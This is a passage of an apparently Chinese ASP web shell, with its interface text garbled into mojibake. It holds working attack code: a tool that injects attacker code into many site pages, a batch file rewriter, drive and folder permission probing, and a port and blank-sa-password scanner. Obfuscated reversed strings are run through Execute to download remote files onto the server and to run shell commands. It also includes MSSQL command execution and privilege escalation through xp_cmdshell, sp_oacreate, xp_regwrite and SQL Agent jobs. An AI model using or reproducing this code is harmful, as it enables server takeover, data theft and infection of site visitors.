file_show(pth) Case "save" CALL file_save(pth) End select Else RRS("
") RRS("
") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("
Òª¹ÒÂíµÄÎļþ¼Ð (¾ø¶Ô·¾¶)£º
Òª¹ÒÂíµÄ´úÂë:
") End If Function IsPattern(patt,str) Set regEx=New RegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) Set regEx=Nothing If retVal=True Then IsPattern=True Else IsPattern=False End If End Function if request.form("submit")<>"" then If s="" or addcode="" Then RRS "ÇëÊäÈë¹ÒÂíµÄ·¾¶»ò´úÂë!" response.end else If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then sch s End If end if Sub sch(s) oN eRrOr rEsUmE nExT Set fs=Server.createObject("Scripting.FileSystemObject") Set fd=fs.GetFolder(s) Set fi=fd.Files Set sf=fd.SubFolders For Each f in fi rtn=f.path step_all rtn Next If sf.Count<>0 Then For Each l In sf sch l Next End If End Sub Sub step_all(agr) retVal=IsPattern("(\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|game|about|manager|main|article|book|bt|config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|ip|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr) If retVal Then step1 agr step2 agr Else Exit Sub End If End Sub Sub step1(str1) RRS "
¡Ì "&str1&" _" RRs "Down " RRS "edit " RRS "Del " RRS "Copy " RRS "Move
" End Sub Sub step2(str2) Set fs=Server.createObject("Scripting.FileSystemObject") isExist=fs.FileExists(str2) If isExist Then Set f=fs.GetFile(str2) Set f_addcode=f.OpenAsTextStream(8,-2) f_addcode.Write addcode f_addcode.Close Set f=Nothing End If Set fs=Nothing End Sub Err.Clear Case "replace" Fpath=Request("fd") addcode = Request("code") addcode2 = Request("code2") pcfile=request("pcfile") checkbox=request("checkbox") checkbox1=request("checkbox1") ShowMsg=request("ShowMsg") FType=request("FType") zfile=request("zfile") for i= 0 to ubound(split(server.mappath("."),"\")) d=split(server.mappath("."),"\") dir=dir&d(i)&"\" filename=dir&"dir.txt" On Error Resume Next SET FSO=Server.CreateObject("Scripting.FileSystemObject") SET FR = FSO.CreateTextFile(filename,true) IF NOT FSO.FileExists(filename) then else FR.close FSO.DeleteFile filename,True exit for end if next if zfile="" then zfile="default|index|conn|admin|reg|main|vip|qq|mm" if Ftype="" then Ftype="htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" if Fpath="\" then Fpath=Server.MapPath("\") if Fpath="." or Fpath="" then Fpath=dir if addcode="" then addcode="" if checkbox="" then checkbox=request("checkbox") if checkbox1="" then checkbox1=request("checkbox1") if pcfile="" then pcfileName=Request.ServerVariables("SCRIPT_NAME") pcfilek=split(pcfileName,"/") pcfilen=ubound(pcfilek) pcfile=pcfilek(pcfilen) end if RRS "

" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "
ÅúÁ¿Ìæ»»Æ÷-ÎļþÌæ»»Ð޸Ť¾ß
 ÍøÕ¾¸ùĿ¼¡°\¡±£º"&Server.MapPath("/")&"
 ±¾³ÌÐòĿ¼¡°.¡±£º"&Server.MapPath(".")&"
 Îļþ·¾¶£º ×¢Òâ:¸Ã·¾¶ÊÇ×î´ó¿ÉдĿ¼(×Ô¶¯Åбð)
 ÊÇ·ñ±äÐδúÂ룺 дÈë´úÂëʱ°Ñ´úÂë±äÐκóдÈëÎļþ - ΪÁË·ÀÖ¹ÅúÁ¿Ìæ»»µô´úÂë,´úÂë100%Õý³£ÔËÐÐ
 ÅųýÎļþ£º ÀýÈ磺1.asp|2.asp|3.asp
 ÎļþÀàÐÍ£º ÊäÈëÒªÐ޸ĵÄÎļþÀàÐÍ[À©Õ¹Ãû]
" RRS" ²éÕÒÄÚÈÝ£º" RRS"
 ½«Ì滻Ϊ£º
--±ê¼Ç½âÊÍ--[³É¹¦£º ¡Ì Åųý£º¡Á Öظ´£º¡Á]
" if request("submit")="¿ªÊ¼Ö´ÐÐ" then RRS "" RRS "" call InsertAllFiles(Fpath,addcode,pcfile) end if Sub InsertAllFiles(Wpath,Wcode,pc) Server.ScriptTimeout=999999999 if right(Wpath,1)<>"\" then Wpath=Wpath &"\" Set WFSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = WFSO.GetFolder(Wpath) Set fc2 = f.files For Each myfile in fc2 Set FS1 = CreateObject("Scripting.FileSystemObject") FType1=split(myfile.name,".") FType2=ubound(FType1) if Ftype2>0 then FType3=LCase(FType1(FType2)) else FType3="ÎÞ" end if if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) NewCode=Replace(tfile1.readall,Wcode,addCode2) Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) objCountFile.Write NewCode objCountFile.Close RRS"" Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers NewPath=Wpath&""&f1.name InsertAllFiles NewPath,Wcode,pc Next set tfile=nothing Set FSO = Nothing set tfile=nothing set tfile2=nothing Set WFSO = Nothing End Sub Case "Logout":Session.Contents.Remove("mgler"):Response.Redirect URL Case Else MainMenu() End Select ShowErr() Sub Message(state,msg,flag) Response.Write "
½á¹ûÎļþ¾ø¶Ô·¾¶±à¼­À¸
¡Ì"&Wpath&myfile.name Set objCountFile=Nothing else RRS"¡Á"&Wpath&myfile.name end if RRS "ÏÂÔØ " RRS "±à¼­ " RRS "ɾ³ý " RRS "¸´ÖÆ
" Response.Write "
" Response.Write "
ϵͳÐÅÏ¢
" Response.Write "" Response.Write " " Response.Write "
"&state&"

"&msg&"
" If flag=0 Then Response.Write "" Else Response.Write "" End if Response.Write "
" End Sub Function Red(str) Red = "" & str & "" End Function Sub ScanDriveForm() 'ɨÃè´ÅÅÌÐÅÏ¢ Dim FSO,DriveB Set FSO = Server.Createobject("Scripting.FileSystemObject") Response.Write "" Response.Write "
" For Each DriveB in FSO.Drives Response.Write "" response.write "" response.write " " response.write "" response.write "" Next Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "
´ÅÅÌ/ϵͳÎļþ¼ÐÐÅÏ¢
ÅÌ·û"&DriveB.DriveLetter&":ÀàÐÍ" Select Case DriveB.DriveType Case 1: Response.write "¿ÉÒƶ¯" Case 2: Response.write "±¾µØÓ²ÅÌ" Case 3: Response.write "ÍøÂç´ÅÅÌ" Case 4: Response.write "CD-ROM" Case 5: Response.write "RAM´ÅÅÌ" Case else: Response.write "δ֪ÀàÐÍ" End Select Response.Write "
WindowsÎļþ¼Ð"&FSO.GetSpecialFolder(0)&"
System32Îļþ¼Ð"&FSO.GetSpecialFolder(1)&"
ϵͳÁÙʱÎļþ¼Ð"&FSO.GetSpecialFolder(2)&"
" Response.Write "" Response.Write "
µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:"&Server.MapPath("/")&"" Response.Write "
Ö¸¶¨Îļþ¼Ð²éѯ£º" Response.Write " " Response.Write "¡¡Ö¸¶¨Îļþ¼Ð·¾¶¡£Èç D:\Program Files\Cs
" Set FSO=Nothing End Sub Sub ScanDrive(Drive) 'ɨÃèÖ¸¶¨´ÅÅÌ Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D If Drive <> "" Then Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestDrive = FSO.GetDrive(Drive) If TestDrive.IsReady Then Temp_Str = "
  • ´ÅÅÌ·ÖÇøÀàÐÍ£º" & Red(TestDrive.FileSystem) & "
  • ´ÅÅÌÐòÁкţº" & Red(TestDrive.SerialNumber) & "
  • ´ÅÅ̹²ÏíÃû£º" & Red(TestDrive.ShareName) & "
  • ´ÅÅÌ×ÜÈÝÁ¿£º" & Red(Int(TestDrive.TotalSize/1073741824)) & Red("GB") & "
  • ´ÅÅ̾íÃû£º" & Red(TestDrive.VolumeName) & "
  • ´ÅÅ̸ùĿ¼:" & ScReWr((Drive & ":\")) Set BaseFolder = TestDrive.RootFolder Set TempFolders = BaseFolder.SubFolders For Each D in TempFolders Temp_Str = Temp_Str & "
  • Îļþ¼Ð£º" & ScReWr(D) Next Set TempFolder = Nothing Set BaseFolder = Nothing Else Temp_Str = Temp_Str & "
  • ´ÅÅ̸ùĿ¼:" & Red("²»¿É¶Á:(") Dim TempFolderList,t:t=0 Temp_Str = Temp_Str & "
  • " & Red("Çî¾ÙĿ¼²âÊÔ£º") TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp","wwwroot") For i = 0 to Ubound(TempFolderList) If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then t = t+1 Temp_Str = Temp_Str & "
  • ·¢ÏÖÎļþ¼Ð£º" & ScReWr(Drive & ":\" & TempFolderList(i)) End if Next If t=0 then Temp_Str = Temp_Str & "
  • ÒÑÇî¾Ù" & Drive & "Å̸ùĿ¼£¬µ«Î´Óз¢ÏÖ:(" End if Set TestDrive = Nothing Set FSO = Nothing Temp_Str = Temp_Str & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Message Drive & ":´ÅÅÌÐÅÏ¢",Temp_Str,1 End if End Sub Sub ScFolder(folder) On Error Resume Next Dim FSO,OFolder,TempFolder,Scmsg,S Set FSO = Server.Createobject("Scripting.FileSystemObject") If FSO.FolderExists(folder) Then Set OFolder = FSO.GetFolder(folder) Set TempFolders = OFolder.SubFolders Scmsg = "
  • Ö¸¶¨Îļþ¼Ð¸ùĿ¼£º" & ScReWr(folder) For Each S in TempFolders Scmsg = Scmsg&"
  • Îļþ¼Ð£º" & ScReWr(S) Next Set TempFolders = Nothing Set OFolder = Nothing Else Scmsg = Scmsg & "
  • Îļþ¼Ð£º" & Red(folder & "²»´æÔÚ»òÎÞ¶ÁȨÏÞ!") End if Scmsg = Scmsg & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Set FSO = Nothing Message "Îļþ¼ÐÐÅÏ¢",Scmsg,1 End Sub Function ScReWr(folder) '1.¿É¶Á,²»¿Éд¡£2.²»¿É¶Á,¿Éд¡£3.¿É¶Á,¿Éд¡£4.²»¿É¶Á,²»¿Éд¡£ On Error Resume Next Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestFolder = FSO.GetFolder(folder) Set TestFileList = TestFolder.SubFolders RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" For Each A in TestFileList Next If err Then err.Clear ReWrStr = folder & " [²»¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End If Else ReWrStr = folder & " [¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End if End if Set TestFileList = Nothing Set TestFolder = Nothing Set FSO = Nothing ScReWr = ReWrStr End Function Function downloads() Hacker="fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~~gnihtoN = maertS teS ~gnihtoN = pttH teS ~ ~)rrE(rrEkhc ~htiW dnE ~esolC. ~fI dnE ~etirWrevo ,htaPeht eliFoTevaS. ~emaNelifteg & ¨~\¨~ & htaPeht = htaPeht ~fI dnE ~¨~txt.hv21¨~ = emaNelifteg ~nehT ¨~¨~ = emaNelifteg fI ~)))¨~/¨~ ,lrUeht(tilpS(dnuoBU()¨~/¨~ ,lrUeht(tilpS = emaNelifteg ~raelC.rrE ~nehT 4003 = rebmuN.rrE fI ~etirWrevo ,htaPeht eliFoTevaS. ~0 = noitisoP. ~ydoBesnopseR.pttH etirW. ~nepO. ~3 = edoM. ~1 = epyT. ~maerts htiW ~ ~fI dnE ~ nehT 4 >< etatSydaeR.pttH fI ~)(dneS.pttH ~eslaF ,lrUeht ,¨~TEG¨~ nepO.pttH ~ ~fI dnE ~1 = etirWrevo ~nehT 2 >< etirWrevo fI ~)¨~PTTHLMX.2LMXSM¨~(tcejbOetaerC.revreS = pttH teS ~)¨~maer¨~&e&¨~ts.bdo¨~&e&¨~da¨~(tcejbOetaerC.revreS = maerts teS ~)¨~etirWrevo¨~(tseuqeR = etirWrevo ~)¨~htaPeht¨~(tseuqeR = htaPeht ~)¨~lrUeht¨~(tseuqeR = lrUeht ~etirWrevo ,emaNelifteg ,maerts ,htaPeht ,lrUeht ,pttH miD ~fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR ~¨~>mrof/<¨~ & WR=WR ~¨~¡£¾¶Â·µØ±¾·Ç¶ø£¬htaPµÄÆ÷Îñ·þÊÇhtaPµÄÀïÕ⣺Òâ×¢;psbn&¨~ & WR=WR ~¨~>rb<>rb<>tcAeht=eman lrUmorFnwod=eulav neddih=epyt tupni<¨~ & WR=WR ~¨~ >' ÔØÏ '=eulav timbus=epyt tupni< ¸Ç¸²ÔÚ´æ>dekcehc 2=eulav etirWrevo=eman xobkcehc=epyt tupni<¨~ & WR=WR ~¨~ >85=ezis ¨~¨~¨~ & ))¨~.¨~(htaPpaM.revreS(edocnElmtH & ¨~¨~¨~=eulav htaPeht=eman tupni<:htaP;psbn&¨~ & WR=WR ~¨~>/rb< >08=ezis '//:ptth'=eulav lrUeht=eman tupni<:rddA;psbn&¨~ & WR=WR ~¨~>tsop=dohtem mrof<>rb<>dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÔØϽÓÖ±>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ =WR" ExeCuTe(UZSS(Hacker)) End Function FuncTion MMD() Hacker="tlusERrts &¨~>rb<¨~ & )¨~DMM¨~(mrof.tsEuqER EtirW.EsnoPsER:gnihtoN = nnoCoda tes:fi dnE:)¨~>rb<¨~,)31(rhc,tlusERrts(EcAlpER = tlusERrts:)¨~;tg&¨~,¨~>¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;tl&¨~,¨~<¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;psbn&¨~,¨~ ¨~,tlusERrts(EcAlpER = tlusERrts:gnihtoN = tlusERcer tes:fi dnE:pooL:txeNevoM.tlusERcer:)0(tlusERcer & )31(rhc & tlusERrts = tlusERrts:FOE.tlusERcer TON elihW oD:nEht FOE.tlusERcer TON fI:)yreuQrts(etucexE.nnoCoda = tlusERcer tes:¨~'¨~ & )¨~DMM¨~(mrof.tsEuqER & ¨~' llehsdmc_px.obd.retsam cexe¨~ = yreuQrts:di&¨~=DI rEsU;¨~&drowsSaP&¨~=drowsSaP;1.BDELOLQS=redivorP¨~ nepO.nnoCoda:)¨~noitcennoC.BDODA¨~(tcejbOetaerC.rEvrES=nnoCoda tes:))¨~U¨~(mrof.tsEuqER(mirt=di:))¨~P¨~(mrof.tsEuqER(mirt =drowsSaP:nEht ¨~¨~><))¨~DMM¨~(mrof.tsEuqER(mirt fI:¨~¨~=IS:IS Etirw.EsnoPsER:¨~>elbat/<>rt/<>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<>ÂëÃÜlqssm=eulav P=eman txet=epyt tupni<>Ãû»§ÓÃlqssm=eulav U=eman txet=epyt tupni<> 53=ezis DMM=eman txet=epyt tupni<ÁîÃüDMC>¨~¨~¨~¨~=noitca tsop=dohtem mrof=eman mrof<>rt=ssalc rt<>¨~¨~%001¨~¨~=htdiw elbat<>rb<¨~=IS" ExeCuTe(UZSS(Hacker)) end Function sub ScanPort() Hacker="FI DNE~¨~Ãë¨~&emiteht&¨~£ºÊ±·Ñ>rh<¨~ etirW.esnopseR~))1remit-2remit(tni(rtsc=emiteht~remit = 2remit~txeN~fI dnE~txeN~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,xxx & tratSpi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~))¨~-¨~,)uh(pi(rtSnI-))uh(pi(neL,1+)¨~-¨~,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)¨~.¨~,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF~))¨~.¨~,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpi~eslE~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,)uh(pi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~nehT 0 = )¨~-¨~,)uh(pi(rtSnI fI~)pi(dnuobU ot 0 = uh roF~)¨~,¨~,)¨~pi¨~(mroF.tseuqer(tilpS = pi~)¨~,¨~,)¨~trop¨~(mroF.tseuqer(tilpS = pmt~¨~>rb<>B/<:¸æ±¨Ãèɨ>B<>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR~remit = 1remit~nehT ¨~¨~ >< )¨~nacs¨~(mroF.tseuqer fI~WR etirW.esnopseR~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR~¨~>mrof/<>p/<¨~ & WR=WR~¨~u-vreSΪ85934,¿ØÔ¶CNVΪ0095,¿ØÔ¶erehwynAcpΪ1365£ºÃ÷˵;psbn&>rbrb<>rb<>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<¨~ & WR=WR~¨~>' Ãèɨ '=eulav 'timbus'=epyt 'timbus'=eman tupni<¨~ & WR=WR~¨~;psbn&;psbn&>'¨~&tsiLtroP&¨~'=eulav '06'=ezis 'txet'=epyt 'trop'=eman tupni<;psbn&:tsiL troP;psbn&>rb<¨~ & WR=WR~¨~>'06'=ezis '¨~&PIrevreS&¨~'=eulav 'pi'=di 'txet'=epyt 'pi'=eman tupni<;psbn&:sserddaPI;psbn&>p<¨~ & WR=WR~¨~>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>dt<>rt<¨~ & WR=WR~¨~>rb<>rt/<>dt/<Æ÷Ãèɨ¿Ú¶Ë>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~=WR~fi dne~)¨~pi¨~(mroF.tseuqer=PI~esle~¨~1.0.0.721¨~=PI~neht ¨~¨~=)¨~pi¨~(mroF.tseuqer fi~fi dne~)¨~trop¨~(mroF.tseuqer=tsiLtroP~esle~¨~0095,1365,85934,9833,3341,544,931,531,011,08,52,32,12¨~=tsiLtroP~neht ¨~¨~=)¨~trop¨~(mroF.tseuqer fi~0006777 = tuoemiTtpircS.revreS" ExeCuTe(UZSS(Hacker)) end sub Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=sa;Password=;" conn.ConnectionTimeout = 1 conn.open connstr If Err Then If Err.number = -2147217843 or Err.number = -2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then RRS(targetip & ":" & portNum & ".........¹Ø±Õ
    ") Else RRS(targetip & ":" & portNum & ".........¿ª·Å
    ") End If End If End If End Sub function sql() if session("login")="" then response.write "
    ûÓеǽ
    " else response.write "
    Í˳öµÇ½
    " end if if session("login")="" then response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write "

     SqlÓû§Ãû£º" response.write "" response.write " SqlÃÜÂ룺" response.write "" response.write "

     Sql·þÎñÆ÷£º" response.write "" response.write " Sql¶Ë¿Ú£º" response.write "" response.write " " response.write "

    " else response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write " ×é¼þ¼ì²â£º

    " response.write "

    " response.write " ×é¼þ»Ö¸´£º

    " response.write "

    " response.write " ÏµÍ³ÃüÁ " response.write "" response.write "  " response.write "" response.write "

    " response.write "
    " response.write "

     Ö´ÐÐÓï¾ä£º" response.write "" response.write "  " response.write "" response.write "


    " end if if request("sqlaaa")="login" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & request.form("server") & "," & request.form("port") & ";password=" & request.form("pass") & ";uid=" & request.form("name") if err.number=-2147467259 then response.write "Êý¾ÝÔ´Á¬½Ó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=-2147217843 then response.write "Óû§ÃûÃÜÂë´íÎó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=0 then strquery="select @@version" set recresult = adoconn.execute(strquery) response.write "

    " if instr(recresult(0),"NT 5.0") then response.write "Windows 2000ϵͳ" session("system")="2000" elseif instr(recresult(0),"NT 5.1") then response.write "Windows xpϵͳ" session("system")="xp" elseif instr(recresult(0),"NT 5.2") then response.write "Windows 2003ϵͳ" session("system")="2003" else response.write "ÆäËü²Ù×÷ϵͳ" session("system")="no" end if strquery="select is_srvrolemember('sysadmin')" set recresult = adoconn.execute(strquery) if recresult(0)=1 then response.write "
    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " session("pri")=1 else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " session("pri")=0 end if session("login")="yes" session("name")=request.form("name") session("pass")=request.form("pass") session("server")=request.form("server") session("port")=request.form("port") response.write "" End if Elseif request("sqlaaa")="test" then if session("login")<>"" then response.write "

    " if session("system")="2000" then response.write "Windows 2000ϵͳ" elseif session("system")="xp" then response.write "Windows xpϵͳ" elseif session("system")="2003" then response.write "Windows 2003ϵͳ" else response.write "ÆäËü²Ù×÷ϵͳ" end if if session("pri")=1 then response.write "
    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'" set recresult = adoconn.execute(strquery) response.write "" if recresult(0) then session("xp_cmdshell")=1 response.write "xp_cmdshell............. ´æÔÚ!" else session("xp_cmdshell")=0 response.write "xp_cmdshell............. ²»´æÔÚ!" end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    sp_oacreate............. ´æÔÚ!" session("sp_oacreate")=1 else response.write "
    sp_oacreate............. ²»´æÔÚ!" session("sp_oacreate")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_regwrite............. ´æÔÚ!" session("xp_regwrite")=1 else response.write "
    xp_regwrite............. ²»´æÔÚ!" session("xp_regwrite")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_servicecontrol'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_servicecontrol....... ´æÔÚ!
    " session("xp_servicecontrol")=1 else response.write "
    xp_servicecontrol....... ²»´æÔÚ!
    " session("xp_servicecontrol")=0 end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="cmd" then if session("login")<>"" then if session("pri")=1 then if request("tool")="xp_cmdshell" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "exec master.dbo.xp_cmdshell '" & request.form("cmd") & "'" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " end if elseif request("tool")="sp_oacreate" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "create table [jnc](resulttxt nvarchar(1024) null);use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "&request("cmd")&" > 8617.tmp',0,true;bulk insert [jnc] from '8617.tmp' with (keepnulls);" adoconn.execute(strquery) strquery = "select * from jnc" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "drop table [jnc];declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c del 8617.tmp'" adoconn.execute(strquery) end if elseif request("tool")="xp_regwrite" then if session("system")="2000" then path="c:\winnt\system32\ias\ias.mdb" else path="c:\windows\system32\ias\ias.mdb" end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then cmd=chr(34)&"cmd.exe /c "&request.form("cmd")&" > 8617.tmp"&chr(34) strquery = "create table [jnc](resulttxt nvarchar(1024) null);exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',0;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&cmd&")');" adoconn.execute(strquery) strquery = "select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c copy 8617.tmp jnc.tmp"&chr(34)&")');bulk insert [jnc] from 'jnc.tmp' with (keepnulls);" set recresult = adoconn.execute(strquery) strquery="select * from [jnc];" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "drop table [jnc];exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c del 8617.tmp&&del jnc.tmp"&chr(34)&")');" adoconn.execute(strquery) end if elseif request("tool")="sqlserveragent" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then if session("sqlserveragent")=0 then strquery = "exec master.dbo.xp_servicecontrol 'start','sqlserveragent';" adoconn.execute(strquery) session("sqlserveragent")=1 end if strquery = "use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "&request.form("cmd")&"' exec sp_add_jobserver null,'x',@@servername exec sp_start_job 'x';" adoconn.execute(strquery) adoconn.execute(strquery) adoconn.execute(strquery) response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "use msdb drop table [jncsql];" adoconn.execute(strquery) end if elseif request("tool")="" then response.write "" end if else response.write "" end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="resume" then if session("login")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if session("xp_cmdshell")=0 then strquery="dbcc addextendedproc ('xp_cmdshell','xplog70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_cmdshell
    " elseif session("sp_oacreate")=0 then strquery="dbcc addextendedproc ('sp_oacreate','odsole70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´sp_oacreate
    " elseif session("xp_regwrite")=0 then strquery="dbcc addextendedproc ('xp_regwrite','xpstar.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_regwrite
    " elseif session("xp_servicecontrol")=0 then strquery="dbcc addextendedproc ('xp_servicecontrol','xprepl.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_servicecontrol
    " else response.write "
    ¹§Ï²£¡×é¼þÆëÈ«
    " end if else response.write "" response.write "
